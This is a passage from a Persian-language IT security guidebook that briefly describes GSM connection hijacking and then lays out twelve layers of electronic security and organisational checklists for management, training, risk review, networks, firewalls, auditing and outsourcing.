كنندة خدمات و او برقرار كـرده        كه مهاجم ميان شبكة ارائه     -
شود عناصر ارسال سيگنالها طوري     كند و باعث مي    آغاز مي  -

تغيير كنند كه براي شبكه اينطور بنظر برسد كه گويي كـاربر            
هـا از رمزگـذاري اسـتفاده       خواهد در تبادل داده   مورد نظر نمي  

پس از تصديق هويت، مهاجم ارتبـاط خـود بـا كـاربر را              . كند
اشـتراك آن كـاربر، از شـبكه بـراي      كنـد و بـا حـق    قطع مـي  

  .نمايدبرقراري تماسهاي جعلي استفاده مي

تواند به جلـوگيري از ايـن نـوع            از جامعيت پيامها مي    حفاظت
هـا و     بطـور خـاص، تـصديق هويـت داده        . حمله منجـر شـود    

جلوگيري از ارسال غيرمستقيم درخواستهاي اتصال، به شبكه        
دهد كه اعتبار درخواسـتهاي مـشروع را تـشخيص          امكان مي 

شدة جامعيـت در    ايِ پيامهاي حفاظت  بعلاوه ارسال دوره  . دهد
يك اتصال، به جلوگيري از سرقت اتـصالات رمزنـشده          طول  

با اينحال سـرقت    . كندپس از برقراري اولية اتصال كمك مي      
اي حفـاظتي نيـز ممكـن اسـت،         اتصال ميـان پيامهـاي دوره     

بطـور كلـي    . آيـد هرچند معمولاً چندان بكار نفـوذگران نمـي       
اتصالاتي كه رمزگذاري آنها غيرفعال است هميـشه در برابـر           

  .پذير هستند اي از حملات آسيبدسته

كنيم كه اين قبيل حملات بـر       مجدداً اين نكته را يادآوري مي     
اساس اينكه فناوري چگونه مورد استفاده قرار بگيـرد همگـي           

در كل، سيستمهاي نـسل سـوم از لحـاظ          . جنبة تئوري دارند  
اند، اما براي پشتيباني از امنيـت         فناوري امنيتي پيشرفت كرده   

يار، لازمست ، ساير مراقبتهاي امنيتي نيز بصورت        ارتباطات س 
  .مداوم رعايت شوند
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  گيرينتيجه  .ز 
شده باشند، قابليـت    ها بيشتر توزيع    بايد گفت كه هر چه شبكه     

. شـود سمع و دسترسـي غيرمجـاز در آنهـا بيـشتر مـي       استراق
سمع معمولاً در نقاطي است كه      پذيري استراق بيشترين آسيب 

سـيم     مسي، ماهواره و سيستمهاي بي     ، سيمهاي   كابلهاي فيبر 
استانداردهاي واسطهاي هوايي   . شوندزميني به هم متصل مي    

  يكــي از مثالهــاي مخــابرات مــدرن و سيــستمهاي فنــاوري 
  .سمع قرار گيرند توانند مورد استراقاطلاعات هستند كه مي

اين گـرايش بـازار بـه       " اشاره كرده،    ١٨١پلتن مرج همانطور كه   
ها بـوده كـه     ي استانداردهاي يكپارچة واسط   تداوم ارتقاي كيف  
عيب و نقص فناوريهاي مختلفي مثـل فيبـر،   امكان اتصال بي  

سيم زميني، مـاهواره و ديگـر فناوريهـاي           سيمهاي مسي، بي  
آيـد كـه    درحال رشد را فراهم كرده، اما چالش آنجا بوجود مي         

بخواهيم استانداردي تهيه كنيم كه در عين برقـراري ارتبـاط           
اطمينان و ساده ميان اين فناوريها، امنيت را نيـز فـراهم          قابل  
  ."كند

اي مخـابرات     لايـه حل ممكن، بازنگري در مدل هفت       يك راه 
ISO            بـراي تـأمين     - و بطور خاص ايجاد يـك لايـة جديـد 

 بيتـي كـه     ۱۰۲۴ يا حتـي     ۲۵۶امنيت لازم بر مبناي يك كد       
 ـ    اينكـه راه  .  اسـت  -روزرساني باشد   قابل به  راي حـل نهـايي ب

تـوان  دستيابي به اين هدف ايجاد يك لاية جديد است يا مي          
هـاي فعلـي نتـايج بهتـري          از مهندسي مجدد قسمتي از لايه     

بـه هـر ترتيـب      . گرفت همچنان به مطالعـه بيـشتر نيـاز دارد         
  .سيم همچنان بسيار زياد استمخاطرات خدمات مالي بي

ــاي    ــب پروتكله ــه از جان ــدهايي ك  GSM و 802.11تهدي
توان تا حـد       محرمانگي و جامعيت ارتباطات شده را مي       متوجه

هـا، حفاظـت از     VPNعلاوه بر استفاده از     . زيادي كاهش داد  
gateway  ها هم بـسيار ضـروري اسـت         دهنده  ها و سرويس .

اين نكته براي بانكها بسيار اهميت دارد كه در كنار استفاده از            
VPN         براي برقراري دسترسي مجاز، روشهاي مختلف ديگـر 

بانكهـا و   . را نيز براي محافظت از منـابع شـبكه بكـار گيرنـد            
سـازي سـاز و كارهـاي       شركاي مخابراتي آنها بايد بـه پيـاده       
. ها اقدام كنند  gatewayامنيت چندلايه بخصوص در سطح      

به موازات استفادة روزافزون تجـارت و اقتـصاد از فناوريهـاي            
اطـات   ارتب پذير، كـاهش مخـاطرات فنـاوري       يكپارچه و آسيب  
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سازگاري روزافزون نهادهاي اقتصادي    .  شود  تر مي   سيار حياتي 
 باعـث تـضعيف     GSM  سيم و فناوري    هاي محلي بي    با شبكه 

امنيت سيستمهاي دريافت و پرداخـت شـده، و ايـن درحـالي             
ــادل    ــراي تب ــذير اساســاً ب اســت كــه ايــن واســطهاي نفوذپ

 در همانحـال كـه   . هاي ديجيتالي طراحي نشده بودنـد       سرمايه
مـديريت  "يابـد،       گرايشهاي خدمات مالي الكترونيكي ادامه مي     

رو براي صنعت بانكداري    نيز در سالهاي پيشِ   " مخاطرات سيار 
  .اي خواهد يافتاهميت فزاينده
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  فصل يازدهم
  :الگوهاي سرآمدي

  ايجاد فرهنگ امنيت

  كليات
 نقـش امنيـت و كاركردهـاي آن در           تا اينجـاي بخـش سـوم      

اعـم از سـازمانهاي كوچـك و متوسـط،          سازمانهاي مختلـف    
مؤسسات غير انتفـاعي، آموزشـگاهها، و ادارات دولتـي مـورد            

در بحثهاي مربوط به مسئوليت در امنيـت        . مطالعه قرار گرفت  
سازماني تأكيد شد كه يكنفر بايد نقش رهبر را بر عهده بگيرد            
ولي فرض بر اين گذاشته نشد كه ايـن فـرد در يـك جايگـاه       

قرار داشته باشد   " مديريت ارشد امنيت  "ان مثل   انحصاري سازم 
در سازمانهاي كوچـك و متوسـط       ). به استثناي سازمانهاي بزرگ   (

معمولاً از نظر بودجه و تعداد كارمندان بـا محـدوديت مواجـه             
شود بندرت بتوان از يكنفر بعنـوان       هستيم و اين امر باعث مي     

.  گرفـت  مدير ارشد امنيت يا كارشناس تمام وقت امنيتي بهره        
با اين همه، هر شركتي كه به نحوي با فناوري مـرتبط اسـت           
بايد يك فرد يا حـداكثر يـك گـروه كوچـك از كارشناسـان               

هـاي  نامـه گيري از آيـين   بهره. امنيتي را در اختيار داشته باشد     
يكپارچه، رعايـت اسـتانداردهاي مناسـب در تهيـة گزارشـها،            

سـتانه بـا سـاير    برقراري روابط هوشيارانه و در عـين حـال دو       
، همه و   ، فروشندگان، و مشتريان     كارمندان، پيمانكاران خارجي  
توانند به اين گـروه و يـا شـخص            همه عواملي هستند كه مي    

.  كمـك نماينـد     خاص در اجراي فعاليتهاي مورد نياز سـازمان       
ايــن فــصل پيــشنهاداتي مــشروح دربــارة بكــارگيري امنيــت 

اي منيتي دوازده لايـه   كند، و يك سياست ا    چندلايه مطرح مي  
بدنبال آن، منتخبـي از فهرسـتهاي كنتـرل         . دهدنيز ارائه مي  

امنيتي آمده كه با يادآوري وظايف روزانة كارمندان و اعـضاي        
دار تيم مديريت در قبال ايمني سازمان، به جلوگيري از خدشه         

  .كند شدن امنيت كمك مي

  :الگوهاي سرآمدي
  ١٨٢دوازده لاية امنيت الكترونيكي

توان نوعي فرآينـد دووجهـي        ديريت مخاطرات امنيتي را مي    م
اولين مرحلة آن ارزيابي مخاطره است كه شامل سـه          . دانست

آوري دارائيها، تجزيـه    شناسائي و جمع  : باشد  قسمت عمده مي  
و تحليل و تعيـين ارزش هريـك از دارائيهـا، و تعيـين اينكـه             

گـام  . هستندهركدام از دارائيها به ترتيب اولويت چقدر حياتي         
.  ، تدوين يك شيوه براي مديريت مخاطرات اسـت          دوم امنيت 

سـازي    قسمتهاي عمدة اين مرحله عبارتند از تـدوين و پيـاده          
اعـم از كارمنـدان و      (سياستها و روالهاي كاري، آموزش كاربران       

. و بازبيني و نظارت براي تـضمين و كنتـرل كيفيـت           ) مشتريان
بپذير كـه ممكـن اسـت        ":كند كه يك نظرية معقول بيان مي    

  ".ريزي كنهدف حمله قرار بگيري؛ و براي نجات خود برنامه

سه اصل كلي كه در تدوين يك برنامة امنيتـي بايـد مـدنظر               
  :قرار گيرند بعبارت زير هستند

 ناپذيرند؛ حملات و آسيبها اجتناب •
 تأمين امنيت فرآيندي زمانگير است؛ و •
 جزء خود، ايمن   اندازة ضعيفترين   يك شبكه، حداكثر به    •

 .است

هاي بـا     ها و كاهش مخاطرات محيط      براي حفظ جامعيت داده   
معماري باز، دوازده لاية اصلي امنيت بايد درنظر گرفته شوند؛          

سازي صحيح هيچيـك      و طبق تجربه مشخص شده كه پياده      
  .گذاري هنگفتي نياز ندارد ها به سرمايهاز اين لايه

 مـديريت    ايجاد سـمت   -مسئول امنيت اطلاعات     .۱
امنيت اطلاعات كه از توجه بـه يـازده لايـة ديگـر در              

 طبـق    سـازي صـحيح آنهـا       سياستهاي سازمان و پياده   
  ١٨٣.كند زير كسب اطمينان ميالگوهاي سرآمدي

                                                                  
  :منبع   ۱۸۲

Glaessner, Thomas, Kellerman, Tom, 
McNevin, "Electronic Security: Risk Mitigation 
in Financial Transactions - Public Policy 
Issues", June 2002, The World Bank 

ــتة        ۱۸۳ ــر نوش ــاب زي ــه كت ــشتر ب ــات بي ــراي جزئي ، Glaessnerب
Kellerman و ،McNevin مراجعه كنيد:  

"Electronics Security: Risk Mitigation in 
Financial Transaction" 

https://telegram.me/karnil
www.karnil.com


 

 

 راهنماي امنيت فناوري اطلاعات ١٩٨

 يك مفهوم وسيع بر مبنـاي       -مديريت مخاطرات    .۲
 بــراي - CERT متعلــق بــه - OCTAVEالگــوي 

  .مديريت دارائيها و مخاطرات مربوط به آنها

 بررسي  -كنترلهاي دسترسي و تصديق هويت       .۳
 پيش از اعطاي دسترسي بـه        مجاز بودن رايانه يا كاربر    

، كـاربر يـك       در طول اين فرآيند   . اطلاعات درخواستي 
و پس از آن رمز عبور      ) دادة معرفي (نام يا شماره حساب     

كنترلهـاي  . كنـد   را وارد سيستم مـي    ) دادة تصديق هويت  (
آينـد و      بـه حـساب مـي      دسترسي اولين خـط تـدافعي     

ــي ــشانها،      م ــور، ن ــاي عب ــاس رمزه ــر اس ــد ب توانن
هاي زيستي، و يـا زيرسـاخت كليـد عمـومي             مشخصه

  .باشند

 ايجاد يك سيستم و يا تركيبـي  -هاي آتش      ديواره .۴
از چند سيستم كه ميان دو يا چند شبكه، مرز مشخص           

  .كند

 در سـطح    -غربال كردن محتوا بصورت فعـال        .۵
م اســت هـر آنچــه كـه مناســب   مرورگرهـاي وب، لاز 

محيط كار نيست يا با سياستهاي مصوب مغـاير اسـت           
  .تصفيه شود

ايـن يـك سيـستم       - (IDS)يـاب     سيستم مهاجم  .۶
مختص شناسـايي نفوذهـا يـا تلاشـهاي نفـوذ اسـت،             
نفوذهايي كه ممكن است بصورت دستي و يا با كمك          

ايـن سيـستم   . افزاري انجام شوند   سيستمهاي خبرة نرم  
 و سـاير اطلاعـات شـبكه اسـتفاده          ١٨٤ي ثبت فايلهااز  
روشهاي نظارت بسته به عواملي چـون انـواع         . كند  مي

حملاتي كه سيستم بايد بتواند در مقابل آنها دفاع كند،          
مبادي نفوذ، انواع دارائيها، و ميـزان نگرانـي در مـورد            

  .ها، بسيار متنوع هستند هريك از تهديد

سـها همـه    كرمهـا، تراواهـا و ويرو  -يابهـا    ويروس .۷
ــستند  ــام حمــلات ه ــراي انج ــايي ب ــروس.  ابزاره   وي

هـاي    تواند با آلوده كردن برنامـه       اي است كه مي     برنامه
تراواها خود را توزيع يـا بـه        .  سيستم، خود را توزيع كند    

هـاي  يابها برنامـه  ويروس. كنند  ساير فايلها متصل نمي   
 .اندازنديابند و از كار ميرسان را ميمخرب و آسيب

                                                                  
184  Log Files 

 الگوريتمهاي رمزگذاري براي حفاظـت      -زگذاري  رم .۸
از (از اطلاعات درحال انتقال و يـا در معـرض سـرقت             

) سازي؛ مثلاً رسانة پشتيبان يا رايانة قابل حمل         روي رسانة ذخيره  
 .روند بكار مي

 منظـور از ايـن آزمـون،        -پـذيري     آزمون آسـيب   .۹
پذيريهاي موجـود     بدست آوردن اطلاعاتي دربارة آسيب    

نه يا شبكه و بكـارگيري ايـن اطلاعـات جهـت            در رايا 
عبور از موانع معمول تصديق هويت و نهايتاً دسترسـي          

 .به منابع مختلف آن رايانه يا شبكه است

 ايـن مـورد بايـد بـا         -راهبري صحيح سيستمها     .۱۰
تهية فهرستي از خطاهاي رايج راهبري كـه عمومـاً در         

دهد و نيز فهرستي    مؤسسات يا شركتهاي مالي رخ مي     
 . تكميل گرددالگوهاي سرآمدياز 

 لازم است كه يـك  -افزار مديريت سياست   نرم .۱۱
افزاري به كنترلِ اجراي صـحيح سياسـتها و           برنامة نرم 

ها تـدوين   روالهايي كه براي استفادة كارمندان از رايانه      
 .اند بپردازدشده

 و تـداوم    ١٨٥)IRP(طرح واكـنش بـه رخـداد         .۱۲
 ـايـن سـند اصـلي      - ١٨٦)BCP (کسب و کار   رين ت

گويـد چگونـه يـك       سندي است كه سازمان در آن مي      
كند، به آن واكنش نشان     رخداد امنيتي را شناسايي مي    

داشـتن يـك    . نمايددهد، و آسيبهاي آنرا ترميم مي      مي
IRPتــرين  اي آن يكــي از اصــلي   و آزمــايش دوره
  .هاي برقراري امنيت است حربه

  ١٨٧فهرست كنترل پشتيباني اجرايي
  صلهاي قبل ديديم آگاهي از نكـات امنيتـي        همانطور كه در ف   

براي ايجاد محيطي كه كارمندان در آن به نحو احسن قادر به      
 يـك نكتـة    همكاري جهت حفاظـت از سـازمان خـود باشـند         

كارمنـدان از نحـوة برخـورد مـديران بـا قواعـد       . كليدي است 
گــذاري آنهــا در حــوزة آمــوزش و  امنيتــي و ميــزان ســرمايه

. پذيرنـد   هاي مربوطه، تأثير مـي      ساير زمينه ارتباطات امنيت و    

                                                                  
185  Incident Response Plan 
186  Business Continuity Plan 
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 كه اجـراي     اين فهرست كنترل براي مسئولين اجرايي شركت      
  . كنند تنظيم شده استسياستهاي امنيتي را رهبري مي

شـوند؟  هاي مديريتي بطور منظم تهيه مـي        آيا خلاصه  •
  هر چند وقت يكبار؟

آيا از سطوح بالاي مديريت تا كاركنان خط توليد يـك          •
   ارتباطي مشخص وجود دارد؟مسير

داننـد كـه آن مـسير ارتبـاطي چيـست و            آيا همه مـي    •
  كجاست؟

آيا مسئوليت امنيت صراحتاً بر عهدة يكـي از مـديران،            •
مثلاً قائم مقام مدير عامل سازمان، يا مدير امنيـت، يـا         

  يكي ديگر از مديران سازمان گذاشته شده است؟

يتـي سـازمان،    آيا مديريت با ارائه و اعمـال برنامـة امن          •
  تعهد خود را به آن نشان داده است؟

گذاري مناسب انجام   هاي امنيتي سرمايه    آيا روي برنامه   •
 و بودجة مربوطـه واقعـاً بـه آن تخـصيص يافتـه               شده

  است؟

آيا همة راهبران سيستمهاي مختلف اهميت گزارش و         •
  كنند؟حل سريع مشكلات امنيتي را درك مي

يتـي بعنـوان بخـشي از       آيا ارتقاي سطح آگاهيهاي امن     •
هاي سازمان براي كارمندان جديد همـة سـطوح    برنامه

 از كاركنــان خــط توليــد گرفتــه تــا ســطوح بــالاي  -
   پذيرفته شده است؟-مديريتي 

ها نسبت  آيا براي اطمينان از آگاهي كارمندان تمام رده        •
 گامهـاي    به سياستهاي حفاظـت از اطلاعـات شـركت        

  لازم برداشته شده است؟

گــام تــدوين سياســتها و روالهــاي امنيتــي بــه  آيــا هن •
روابـط مـديران و     (واقعيتهاي مربوط به فرهنگ شـركت       

  توجه شده است؟) كارمندان

دانند كه هنگام برخـورد بـا مـشكلات      آيا كارمندان مي   •
بايد )  كه نسبت به وظايف خود آگاه نيستند        يا در جايي  (امنيتي  

  از چه كسي كمك بخواهند؟

شود؟   ي امنيتي بطور منظم انجام مي     آيا بازبيني و مميز    •
  هر شش ماه يكبار؟ هر سال يكبار؟

  مسئوليتهاي كاركنان
  :، مديران بايد بمنظور ترويج فرهنگ امنيتي

توضيح دهند كه عناصر يك برنامة امنيتي خـوب چـه            •
  .چيزهايي هستند

تأكيد كنند كه امنيت در تمام سـطوح سـازمان بـسيار             •
 . مهم است

پرسيدن سـؤال در زمينـة فناوريهـا و         افراد را نسبت به      •
 .روالهاي امنيتي ترغيب نمايند

از كلية كاركنان بخواهند در اين رابطه بـسيار هوشـيار            •
در محـيط اداره يـا در       (باشند و هرگونه فعاليت غيرمعمول      

 .را گزارش دهند) سطح شبكه

مشخص كنند كه چه كارهايي جهت حفاظت از حريم          •
گيـرد، و بـراي        مي خصوصي و ايمني كاركنان صورت    

همه روشن نمايند كه وفـاداري بـه سـازمان در درجـة      
اول قــرار دارد و نفوذهــاي امنيتــي عمــدي قابــل     

 .باشندپوشي نمي چشم

فهرست زير با هدف كمك به مديران طراحي شده تا بتواننـد            
كاركنان را براي همكاري در تأمين امنيـت سـازمان آمـوزش            

  :دهند

  ١٨٨يتيفهرست كنترل آموزشهاي امن

هاي مختلف به يك برنامة امنيـت       آيا همة مديران رده    •
  سازماني متعهد هستند؟

گذاري جهت آموزشـهاي امنيتـي، از ايـن           آيا با سرمايه   •
  اند؟ تعهد حمايت كرده

آيا آن برنامـة آموزشـي شـامل جزئيـات پيكربنـدي و              •
  باشد؟ پشتيباني امنيت نيز مي

اي وجود  شدهآيا براي آموزش امنيتي سياستهاي تعيين      •
 دارد؟

روز هستند و آيا كاركنـان از       آيا اين سياستها كامل و به      •
  آنها اطلاع دارند؟
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 راهنماي امنيت فناوري اطلاعات ٢٠٠

ــدان  • ــا همــة كارمن ــديران اجرايــي(آي ــه م ــارة )  از جمل درب
مـسئوليتهاي امنيتـي خـود در قبـال شـركت آمـوزش       

  اند؟ ديده

آيا چارچوبي براي توسعه و تداوم آگاهي امنيتي وجـود           •
  دارد؟

  ديريت مخاطراتچارچوب كنترل و م
در فصلهاي دوم، سوم، و چهارم، تهديـدهاي رايـج امنيتـي را             

و روشهاي تحليـل خـسارتها را       ) ارزيابي مخاطره (بررسي كرديم   
شرح داديم، و در فصلهاي بعدي نيز به ارائه راهبردهايي براي        

 كه به تقويت سـازمان در       -تدوين سياستها و روالهاي امنيتي      
.  پـرداختيم  -شوند    تفاقي منجر مي  مقابل حملات و خسارات ا    

چنانكه در آن مباحث ديديم، طرح واكنش شامل فهرسـتي از           
نتايج ارزشيابي عملي امنيت در مورد دارائيها است و طيفـي از        

  .كنداقدامات تدافعي اوليه را پيشنهاد مي

فهرستهاي كنترل زير جزئيات بيشتري را در رابطه با ارزيـابي           
  .دهند زيان ارائه ميمخاطرات و پيشگيري از 

  ١٨٩فهرست كنترل بازنگري مخاطرات

 صورت گرفتـه اسـت؟ ايـن        آيا اخيراً ارزيابي مخاطرات    •
  شود؟  روز ميارزيابي هر چند وقت يكبار به

غيرحـساس،  (آيا سيستمها بر حسب حساسيت مخاطرات       •
  اند؟ بندي شدهتقسيم) حساس، و بسيار حساس

  يتي هستند؟آيا اهداف مديريتي بر اساس اصول امن •

آيا براي آزمودن نتايج ارزيابي مخـاطرات، بازبينيهـاي          •
  گيرد؟ منظم انجام مي

آيا هنگاميكه مخاطرات بايد مورد ارزيابي قرار گيرند و          •
ــازمان   ــارج از س ــاي خ ــوند، از مميزه ــاهش داده ش ك

  شود؟ استفاده مي

بـر  ) حتـي مـديران و راهبـران سيـستم        (آيا تمام كارمنـدان      •
تـي مـورد ارزشـيابي قـرار گرفتـه و           اساس اهداف امني  

  اند؟ منصوب شده

                                                                  
  ۹۵، ص ريزي نشدهامنيت برنامه، ششم فصل ،منبعهمان    ۱۸۹

  ١٩٠فهرست كنترل پيشگيري از زيان

  آيا به آنچه كه در تلاش براي حفظ آن هستيد واقفيد؟ •

  آيا مديريت نيز در ارزيابي مخاطرات دخيل بوده است؟ •

اند و براحتـي قابـل   آيا سياستها به نثر روان نوشته شده     •
  درك هستند؟

 ـ         • سخه از سياسـتها دسترسـي      آيا همة افـراد بـه يـك ن
  دارند؟

آيا كسي شخصاً در زمينة سياستها و روالهـا مـسئوليت           •
  صريح دارد؟

آيا كسي كه مسئوليت سياسـتها بـر عهـدة اوسـت در              •
كنـد و دانـش امنيتـي    كنفرانسهاي امنيتي شركت مـي  

  دارد؟ روز نگه مي خود را به

پردازيـد تـا مطمـئن        اي به بازبيني مي     آيا بصورت دوره   •
  مكانيزمهاي امنيتي همچنان پابرجا هستند؟شويد 

آيا مطمئن هستيد تمام اشخاصي كه سيستمهاي شـما         •
كننـد طبـق سياسـتهاي و روالهـا امنيتـي             را نصب مي  

  اند؟ شركت شما آموزش ديده

ــرم  • ــستمهاي ن ــيش از بكــارگيري سي ــا پ ــزاري و  آي اف
افزاري، از رفع و رجوع تمـام مـشكلات امنيتـيِ             سخت
  كنيد؟ ان حاصل ميشده اطمينشناخته

دهيـد؟  آيا گزارشهاي بازبيني را مورد بررسي قـرار مـي     •
  هر چند وقت يكبار؟

  هاي داخلي و خارجي شبكه: امنيت فيزيكي
مبحــث امنيــت فيزيكــي در ســطوح مختلفــي از جزئيــات در 

، سـوم   )امنيت فناوري اطلاعـات و كـاربران انفـرادي        (بخشهاي دوم   
) اطلاعـات و راهبـران و فنـي    امنيـت فنـاوري     (و پنجم   ) همين بخش (

ها بايـد از      ، بعضي زمينه    از ديدگاه فني  . پوشش داده شده است   
،   هاي داخلي   منظر امنيتي تحت پوشش قرار گيرند؛ مثل شبكه       

فهرستهاي . هاهاي خارجي، و كنترل دسترسي به شبكه        شبكه
كنترل زير جهت كمك به حفظ منابع فيزيكـي يـك محـيط             

  .انداي طراحي شده شبكه

                                                                  
 ۳۲، ص امنيت مبتكرانه، دوم فصل ،منبعهمان    ۱۹۰
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  ١٩١فهرست امنيتي شبكة داخلي

آيا براي پيكربندي سيستمها، سياستها و روالهاي معين         •
  وجود دارد؟

آيا اين سياستها و روالها شامل مجوزهاي دسترسي به          •
  شوند؟ها مي فايلها، رمزهاي عبور، و وصله

  ايد؟ آيا خدمات غيرضروري را غيرفعال كرده •

  آيا سياستي براي امنيت فيزيكي وجود دارد؟ •

  يا همة كاربران رمز عبور دارند؟آ •

فرض كه در سيستم موجود هـستند         آيا حسابهاي پيش   •
  اند؟تغيير داده شده

" Guest"فـرض     آيا استفاده از حسابهاي كاربري پيش      •
  طبق سياست امنيتي ممنوع شده است؟

گيرند بـصورت  آيا حسابهايي كه مورد استفاده قرار نمي   •
  شوند؟ منظم غيرفعال مي

هاي   بخشي از فرآيند نصب سيستمها، وصله     آيا بعنوان    •
  شوند؟ امنيتي جديد اعمال مي

آيا در سيستمهايي كـه پـشتيباني از آنهـا بـا شماسـت            •
براي شكستن رمزهاي عبوري كـه بـه سـادگي قابـل            

  كنيد؟ هر چند وقت يكبار؟حدس هستند تلاش مي

آيا مراقب تغييرات غيرمجاز در فايلها هستيد؟ هر چنـد           •
  وقت يكبار؟

بـرداري از فايلهـا جوانـب احتيـاط را          ا هنگام نـسخه   آي •
  كنيد؟ رعايت مي

هـاي    هاي خـارجي و ديـواره       فهرست كنترل شبكه  
  ١٩٢آتش

آيا نقشها و مـسئوليتهاي امنيتـي بـه روشـني تعريـف              •
  اند؟ شده

آيا فـردي بـصورت مـنظم تنظيمـات ديـوارة آتـش را               •
  كند؟ هر چند وقت يكبار؟بازبيني مي

                                                                  
 ۱۲۱، ص امنيت شبكة داخلي، شتمهفصل ، منبعهمان    ۱۹۱
  ۱۰۹، ص پشتيباني از امنيت، هفتمفصل ، منبعهمان    ۱۹۲

ة    روي ديـوار   ١٩٣آزمون نفـوذ  م  آيا كسي مسئوليت انجا    •
  آتش را بر عهده دارد؟

روزرسـاني ديـوارة    آيا مشخص است كه مـسئوليت بـه        •
  بر عهدة كيست؟) درصورت لزوم(آتش 

روزرساني، و نگهداري ديـوارة     آيا براي امور راهبري، به     •
  گذاري مناسب انجام شده است؟ آتش سرمايه

آيا مديران بـه نقـش خـود در فرآينـد امنيـت و نقـش              •
  دهند واقفند؟افرادي كه به آنها گزارش مي

آيا نقشها و مـسئوليتهاي فـوريتي بوضـوح و بـصورت             •
  اند؟ رسمي تعريف شده

آيا كاركنـان بخـش پـشتيباني از روالهـاي پيـشگيرانة            •
  كنند؟ معيني پيروي مي

يـاب روي سيـستمها و شـبكه      افزارهاي مهـاجم    آيا نرم  •
  اند؟نصب شده

  ام سيـــستمهاي افـــزار مميـــزي روي تمـــآيـــا نـــرم •
 بسيار حساس نصب شده است؟

افزار ضدويروس در تمام نقاط ورود شبكه نصب          آيا نرم  •
  شده است؟

اشـتراك  آيا براي بهبود فرآينـدها، تجربيـات نفـوذ بـه           •
  شوند؟ گذاشته مي

  فهرست كنترل دسترسي به شبكه

هـاي  آيا مديريت در فرآينـد تأييـد اتـصال بـه شـبكه             •
  خارجي دخيل است؟

  كند؟ تصالات به خارج سازمان را دنبال ميآيا كسي ا •

آيا مديران از تعداد كارمندان و پيمانكاراني كه متـصل           •
  به خارج سازمان هستند مطلعند؟

  اند؟آيا خدمات غيرضروري شبكه غيرفعال شده •

 از تأييد اتصالات خارجي، نياز واقعي بـه آنهـا            آيا پيش  •
  گيرد؟ مورد بررسي قرار مي
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 راهنماي امنيت فناوري اطلاعات ٢٠٢

 اتـصالات خـارجي بـصورت       آيا شركت بـراي كنتـرل      •
  كند؟منظم آنها را بازبيني مي

آيا براي غيرفعال كردن اتـصال افـراد يـا پيمانكـاران             •
  مستعفي، روال خاصي وجود دارد؟

آيــا بــراي نــصب ديــوارة آتــش، سياســتها و روالهــاي  •
  مخصوص موجود است؟

هـاي  آيا براي برقراري اتصالات مـشتريان بـه شـبكه          •
  وجود دارد؟ خارجي سياست و روال خاصي 

آيــا همــة سياســتها و روالهــاي مربــوط بــه اتــصالات  •
  شوند؟ بصورت اجباري اعمال مي

  بازبيني امنيت
در عين اينكه يك سازمان مقـادير هنگفتـي زمـان و پـول را               

 و   ، آموزش كارمنـدان     جهت تدوين سياستها و روالهاي امنيتي     
كنــد،  توجــه بــه مــديران و كارشناســان امنيتــي صــرف مــي 

 اين تلاشها نيز لحظه به لحظه بايـد مـورد ارزيـابي             اثربخشي
بازبيني امنيتي، آندسته از نقاط ضعف برنامة جـامع         . قرار گيرد 

امنيتي را كه با رشد و تغيير در طول عمر سازمان بوجود آمده             
توانسته مورد توجه قرار گيرد را آشـكار        و يا به هر ترتيب نمي     

 ديگـر نيـز بـه همـراه         توانند يك مزيت  ها مي بازبيني. كند  مي
داشته باشند و آن اينكـه اگـر متخلفـان بداننـد كـه شـما در                 

 خـود را محـدود    جستجوي آنان هستيد ممكن اسـت فعاليـت      
 .كنند

ترين اشتباهاتي كه با روالهـاي مميـزي امنيـت قابـل              معمول
  :شناسايي هستند عبارتند از

  هاي امنيتي؛ نصب نبودن وصله •
 ايلها؛مجوز دسترسي بيش از حد به ف •
 ساده و قابل حدس بودن رمز عبور؛ •
 اي غيرضروري؛ و فعال بودن خدمات شبكه •
 .روشن نبودن يا اعمال نشدن قوانين ديوارة آتش •

هـاي  فهرست كنترل زير جهت تعيين يك مبنا براي بـازبيني         
 چه توسط كارمندان شركت و چه توسط كارشناسان         -امنيتي  

  . ارائه شده است-منابع خارجي 

  ١٩٤نترل روالهاي بازبينيفهرست ك

  آيا يك سياست رسمي براي بازبيني داريد؟ •

آيا براي آزمون امنيت، روالهـاي كتبـي بـازبيني تهيـه             •
  ايد؟كرده

ها طبق يك برنامة منظم زمـاني بـه انجـام           آيا بازبيني  •
  رسند؟مي

عاملهـاي    افزار بازبيني روي همة انـواع سيـستم         آيا نرم  •
 اند؟ نصب شده)Unix/Linux, Mac, Windows(شما 

آيا براي خريـد ابزارهـاي مـورد نيـاز بـازبيني، بودجـة               •
  شود؟مناسب اختصاص داده مي

آيا مديران با فـراهم كـردن امكـان آمـوزش صـحيح              •
مميزان، از فرآينـد بـازبيني امنيـت پـشتيباني مناسـب            

  آورند؟بعمل مي

  استفاده از منابع خارجي
 فناوري اطلاعات ت  نهايتاً به اين امر واقفيم كه پيچيدگي امني       

ممكن است بعضي سازمانها را براي تأمين نيازهاي امنيتي به          
در فصلي كه به ايـن      . استفاده از كارشناسان خارجي وادار كند     

مفهوم اختصاص داده شده بود در مورد نكات قابـل توجـه در             
انتخاب شركت همكار، چگـونگي مـديريت فعاليتهـاي آن، و           

اي آنرا به دقت زيـر نظـر گرفـت        اينكه چه هنگام بايد فعاليته    
  .بحث عميقي صورت گرفت

تواند بعنـوان يـك منبـع ديگـر بـراي           فهرست امنيت زير مي   
شركتهايي كه مايلند از يك پيمانكـار خـارجي جهـت انجـام             

  :فعاليتهاي امنيتي خود استفاده كنند مورد استفاده قرار گيرد

ــارجي در   ــابع خ ــتفاده از من ــرل اس فهرســت كنت
  )حظات فنيملا (١٩٥امنيت

اتـصالات  (كننـدگان و مـشتريان      آيا اتصالات ميان ارائه    •
شـود؟ هـر    بصورت منظم بازبيني مـي    ) هاي خارجي شبكه

  چند وقت يكبار؟

                                                                  
  ۱۳۳، ص واگذاري امور به منابع خارجي، نهم، فصل ITS: منبع   ۱۹۴
 ۱۳۳، ص واگذاري امور به منابع خارجي، نهم، فصل ITS: منبع   ۱۹۵
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كنندگان و مشتريان به شبكة شما      آيا براي اتصال ارائه    •
هاي خارجي، يك معماري رسمي وجود        از طريق شبكه  

  دارد؟

 اتـصال از    آيا يك سياست رسمي بـراي تعيـين اينكـه          •
شبكة خارجي در چه زماني، تحت چه شـرايطي، و بـه            

  چه صورتي مجاز خواهد بود وجود دارد؟

آيا آغاز شدن يك اتصال از شبكه خارجي، نياز به تأييد           •
  مديريت دارد؟

آيا پيش از اتصال يك شـبكة خـارجي، انجـام نـوعي              •
  بازبيني رسمي الزامي است؟
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  فصل دوازدهم
كترونيكي قواعد ايمني تجارت ال

  براي همة كاربران و شركتها

